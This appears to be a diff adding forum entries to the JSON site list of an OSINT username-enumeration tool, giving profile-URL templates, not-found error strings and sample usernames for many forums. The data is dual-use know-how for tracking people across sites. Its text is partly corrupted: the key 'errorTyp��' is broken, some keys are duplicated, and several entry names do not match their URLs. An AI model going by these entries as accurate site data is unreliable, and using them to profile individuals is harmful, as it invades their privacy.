+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://school-1130.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://school-1130.ucoz.ru",
+ "usernameON": "KPECT",
+ "bad_site": ""
+ },
+ "Forum_school74": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://school74.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://school74.ucoz.ru",
+ "usernameON": "Ruike",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_school87": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://school87.clan.su/index/8-0-{}",
+ "urlMain": "https://school87.clan.su",
+ "usernameON": "roterb",
+ "bad_site": ""
+ },
+ "Forum_scienceforums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.scienceforums.com",
+ "usernameON": "rohan232323",
+ "bad_site": ""
+ },
+ "Forum_scienceforumsnet": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "your search. Try broadening your criteria",
+ "errorTyp��": "message",
+ "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.scienceforums.net",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_sciforums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.sciforums.com/members/?username={}",
+ "urlMain": "https://www.sciforums.com",
+ "usernameON": "billvon",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_scimarche": {
+ "country": "🇮🇹",
+ "country_klas": "IT",
+ "errorTyp��": "status_code",
+ "url": "https://www.scimarche.it/membri/{}/",
+ "urlMain": "https://www.scimarche.it",
+ "usernameON": "jonathan",
+ "bad_site": ""
+ },
+ "Forum_sciphysicsforums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information ",
+ "errorTyp��": "message",
+ "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://www.sciphysicsforums.com",
+ "usernameON": "FrediFizzx",
+ "bad_site": ""
+ },
+ "Forum_scompaginando": {
+ "country": "🇮🇹",
+ "country_klas": "IT",
+ "errorMsg": "Questo utente non è registrato",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "http://www.scompaginando.it/member.php?username={}",
+ "urlMain": "http://www.scompaginando.it",
+ "usernameON": "Enribello",
+ "bad_site": ""
+ },
+ "Forum_scooterista": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://scooterista.ru/index/8-0-{}",
+ "urlMain": "https://scooterista.ru",
+ "usernameON": "Dreamer",
+ "bad_site": ""
+ },
+ "Forum_scotchmaltwhisky": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "Sorry, ",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://www.scotchmaltwhisky.co.uk",
+ "usernameON": "William",
+ "bad_site": ""
+ },
+ "Forum_scrambler": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.scramblerforum.com/members/?username={}",
+ "urlMain": "https://www.scramblerforum.com",
+ "usernameON": "fatrob",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_scrapbookcampus": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://scrapbookcampus.com",
+ "usernameON": "jacques",
+ "bad_site": ""
+ },
+ "Forum_scriptmen": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://scriptmen.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://scriptmen.ucoz.ru",
+ "usernameON": "reix24",
+ "bad_site": ""
+ },
+ "Forum_scripts-money": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://scripts-money.clan.su/index/8-0-{}",
+ "urlMain": "https://scripts-money.clan.su",
+ "usernameON": "Diamond00744",
+ "bad_site": ""
+ },
+ "Forum_scssoft": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.scssoft.com",
+ "usernameON": "B787",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_scuba": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "http://forum.scuba-divers.ru/memberlist.php?username={}",
+ "urlMain": "http://forum.scuba-divers.ru/",
+ "usernameON": "bubonic",
+ "bad_site": ""
+ },
+ "Forum_se-forever": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://se-forever.ucoz.com/index/8-0-{}",
+ "urlMain": "https://se-forever.ucoz.com",
+ "usernameON": "iisus1996",
+ "bad_site": ""
+ },
+ "Forum_se-style": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://se-style.3dn.ru/index/8-0-{}",
+ "urlMain": "https://se-style.3dn.ru/",
+ "usernameON": "qwerty2244",
+ "bad_site": ""
+ },
+ "Forum_se-zver": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://se-zver.ucoz.net/index/8-0-{}",
+ "urlMain": "https://se-zver.ucoz.net",
+ "usernameON": "magwrisK",
+ "bad_site": ""
+ },
+ "Forum_se7ensins": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.se7ensins.com/members/?username={}",
+ "urlMain": "https://www.se7ensins.com",
+ "usernameON": "mocolos",
+ "comments": "super",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_seabreeze": {
+ "country": "🇦🇺",
+ "country_klas": "AU",
+ "errorTyp��": "response_url",
+ "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}",
+ "urlMain": "https://www.seabreeze.com.au",
+ "usernameON": "surfanimal",
+ "bad_site": ""
+ },
+ "Forum_searchengines": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "",
+ "errorMsg2": "class=\"nothing-found__title",
+ "errorTyp��": "message",
+ "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false",
+ "urlMain": "https://searchengines.guru",
+ "usernameON": "LevShliman",
+ "bad_site": ""
+ },
+ "Forum_sebezh": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>
403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://secure-net.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://secure-net.ucoz.ru",
+ "usernameON": "hcurcl",
+ "bad_site": ""
+ },
+ "Forum_segaxtreme": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://segaxtreme.net/members/?username={}",
+ "urlMain": "https://segaxtreme.net",
+ "usernameON": "bluemoon95",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_selfsufficientculture": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.selfsufficientculture.com/members/?username={}",
+ "urlMain": "https://www.selfsufficientculture.com",
+ "usernameON": "daveb",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sell-akk": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://sell-akk.at.ua/index/8-0-{}",
+ "urlMain": "http://sell-akk.at.ua",
+ "usernameON": "apelsin",
+ "bad_site": ""
+ },
+ "Forum_semenovka": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувача не знайдено",
+ "errorMsg2": "403 Forbidden",
+ "errorMsg3": "User not found",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://semenovka.at.ua/index/8-0-{}",
+ "urlMain": "http://semenovka.at.ua",
+ "usernameON": "semenovka",
+ "bad_site": ""
+ },
+ "Forum_semerkainfo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация ",
+ "errorMsg2": "Не найдено ни одного пользователя по заданным критериям",
+ "errorMsg3": "Вам закрыт доступ к конференции.",
+ "errorTyp��": "message",
+ "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}",
+ "urlMain": "http://www.semerkainfo.ru",
+ "usernameON": "DJTigra",
+ "bad_site": ""
+ },
+ "Forum_semperficatholic": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information",
+ "errorMsg2": "One moment,",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "http://semperficatholic.com",
+ "usernameON": "MarieT",
+ "bad_site": ""
+ },
+ "Forum_seniorforums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.seniorforums.com/members/?username={}",
+ "urlMain": "https://www.seniorforums.com",
+ "usernameON": "pinky",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_sens": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sens.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://sens.ucoz.ru",
+ "usernameON": "AlexSpain",
+ "bad_site": ""
+ },
+ "Forum_serebropol": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://serebropol.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://serebropol.ucoz.ru",
+ "usernameON": "kedrdek",
+ "bad_site": ""
+ },
+ "Forum_serebryansk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://serebryansk.online/index/8-0-{}",
+ "urlMain": "https://serebryansk.online",
+ "usernameON": "Luintil",
+ "bad_site": ""
+ },
+ "Forum_serega363": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://serega363.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://serega363.ucoz.ru",
+ "usernameON": "realhacking",
+ "bad_site": ""
+ },
+ "Forum_serenesforest": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.serenesforest.net",
+ "usernameON": "Jedi",
+ "bad_site": ""
+ },
+ "Forum_serial1": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.serial1forum.com/members/?username={}",
+ "urlMain": "https://www.serial1forum.com",
+ "usernameON": "sunti",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_serien": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.serienforum.com/search/?&q={}&type=core_members",
+ "urlMain": "https://www.serienforum.com",
+ "usernameON": "Redaktion",
+ "bad_site": ""
+ },
+ "Forum_serioussite": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.serioussite.ru/index/8-0-{}",
+ "urlMain": "https://www.serioussite.ru",
+ "usernameON": "tisomard",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_serpentes": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://www.serpentes.ru",
+ "usernameON": "TRexfood",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Forum_server1": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://server1.ucoz.net/index/8-0-{}",
+ "urlMain": "https://server1.ucoz.net",
+ "usernameON": "Arthurunige",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_servethehome": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.servethehome.com/index.php?members/&username={}",
+ "urlMain": "https://forums.servethehome.com",
+ "usernameON": "chlastakov",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_servicestack": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://forums.servicestack.net/u/{}/summary",
+ "urlMain": "https://forums.servicestack.net/",
+ "usernameON": "lai",
+ "bad_site": ""
+ },
+ "Forum_serwis": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://serwis.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://serwis.ucoz.ru",
+ "usernameON": "sigushki",
+ "bad_site": ""
+ },
+ "Forum_setcombg": {
+ "country": "🇧🇬",
+ "country_klas": "BG",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sev-kav.clan.su/index/8-0-{}",
+ "urlMain": "https://sev-kav.clan.su",
+ "usernameON": "tbes50203",
+ "bad_site": ""
+ },
+ "Forum_sevenstring": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://sevenstring.org/members/?username={}",
+ "urlMain": "https://sevenstring.org",
+ "usernameON": "maxofmetal",
+ "comments": "zamedlenie",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_severushermione": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://severushermione.clan.su/index/8-0-{}",
+ "urlMain": "http://severushermione.clan.su",
+ "usernameON": "Olias",
+ "bad_site": ""
+ },
+ "Forum_severussnape": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> СЕВАСТОПОЛЬСКИЙ ФОРУМ - Информация",
+ "errorTyp��": "message",
+ "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.sevportal.info",
+ "usernameON": "DarkWillow",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_sexchat": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://onlinefreechat.com/forum/members/?username={}",
+ "urlMain": "https://onlinefreechat.com",
+ "usernameON": "honeybear",
+ "comments": "bad",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sexforum_top": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://ru.sexforum.top/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://ru.sexforum.top",
+ "usernameON": "Vzrosliy",
+ "bad_site": ""
+ },
+ "Forum_sffworld": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.sffworld.com/forum/members/?username={}",
+ "urlMain": "https://www.sffworld.com",
+ "usernameON": "redmage",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sfinx-cats": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://sfinx-cats.ucoz.ru",
+ "usernameON": "Meggikliri",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_sgvavia": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.sgvavia.ru/index/8-0-{}",
+ "urlMain": "https://www.sgvavia.ru",
+ "usernameON": "alla22",
+ "bad_site": ""
+ },
+ "Forum_shaman": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shaman.3dn.ru/index/8-0-{}",
+ "urlMain": "https://shaman.3dn.ru",
+ "usernameON": "vtaletkhfr",
+ "bad_site": ""
+ },
+ "Forum_shanse": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shanse.ucoz.com/index/8-0-{}",
+ "urlMain": "https://shanse.ucoz.com",
+ "usernameON": "Юлия",
+ "bad_site": ""
+ },
+ "Forum_shanson": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shanson.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://shanson.ucoz.ru",
+ "usernameON": "FERMABOT",
+ "bad_site": ""
+ },
+ "Forum_shatoy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sherlar.3dn.ru/index/8-0-{}",
+ "urlMain": "https://sherlar.3dn.ru",
+ "usernameON": "dugimmump",
+ "bad_site": ""
+ },
+ "Forum_shiachat": {
+ "country": "🇮🇷",
+ "country_klas": "IR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.shiachat.com",
+ "usernameON": "Hameedeh",
+ "bad_site": ""
+ },
+ "Forum_shiftdelete": {
+ "country": "🇹🇷",
+ "country_klas": "TR",
+ "errorTyp��": "redirection",
+ "url": "https://forum.shiftdelete.net/uyeler/?username={}",
+ "urlMain": "https://forum.shiftdelete.net",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_shiptext": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shiptext.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://shiptext.ucoz.ru",
+ "usernameON": "Taruto",
+ "bad_site": ""
+ },
+ "Forum_shirokovskaya": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://широковская.рф/index/8-0-{}",
+ "urlMain": "http://широковская.рф",
+ "usernameON": "Надя",
+ "bad_site": ""
+ },
+ "Forum_shkola-letovo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shkola-letovo.my1.ru/index/8-0-{}",
+ "urlMain": "https://shkola-letovo.my1.ru",
+ "usernameON": "belkazalesskaya",
+ "bad_site": ""
+ },
+ "Forum_shkolnikov": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shkolnikov.clan.su/index/8-0-{}",
+ "urlMain": "https://shkolnikov.clan.su",
+ "usernameON": "Adelamow",
+ "bad_site": ""
+ },
+ "Forum_shkval": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shoubiz.my1.ru/index/8-0-{}",
+ "urlMain": "https://shoubiz.my1.ru",
+ "usernameON": "eagles_yar",
+ "bad_site": ""
+ },
+ "Forum_shumka": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://shumka.at.ua/index/8-0-{}",
+ "urlMain": "http://shumka.at.ua",
+ "usernameON": "vikadroyp08",
+ "bad_site": ""
+ },
+ "Forum_shustrov": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shustrov.clan.su/index/8-0-{}",
+ "urlMain": "https://shustrov.clan.su",
+ "usernameON": "Crayulin",
+ "bad_site": ""
+ },
+ "Forum_shuumm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://shuumm.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://shuumm.ucoz.ru",
+ "usernameON": "shuumm",
+ "bad_site": ""
+ },
+ "Forum_shvedun": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://www.forum.shvedun.ru",
+ "usernameON": "red",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_siava": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://siava.ru",
+ "usernameON": "Keks",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Forum_sibcoins": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sibcoins.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://sibcoins.ucoz.ru",
+ "usernameON": "FERMABOT",
+ "bad_site": ""
+ },
+ "Forum_siberia_war": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях",
+ "errorTyp��": "message",
+ "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://forum.sibmama.ru/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_siccness": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.siccness.net/xf/members/?username={}",
+ "urlMain": "https://www.siccness.net",
+ "usernameON": "muthafknmexican",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_siemens-club": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://siemens-club.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://siemens-club.ucoz.ru",
+ "usernameON": "roterb",
+ "bad_site": ""
+ },
+ "Forum_siemens-town": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://siemens-town.my1.ru/index/8-0-{}",
+ "urlMain": "https://siemens-town.my1.ru",
+ "usernameON": "pomoshigorigor",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_sierraclubspb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://sigerous.ru/index/8-0-{}",
+ "urlMain": "http://sigerous.ru",
+ "usernameON": "repteloid1111",
+ "bad_site": ""
+ },
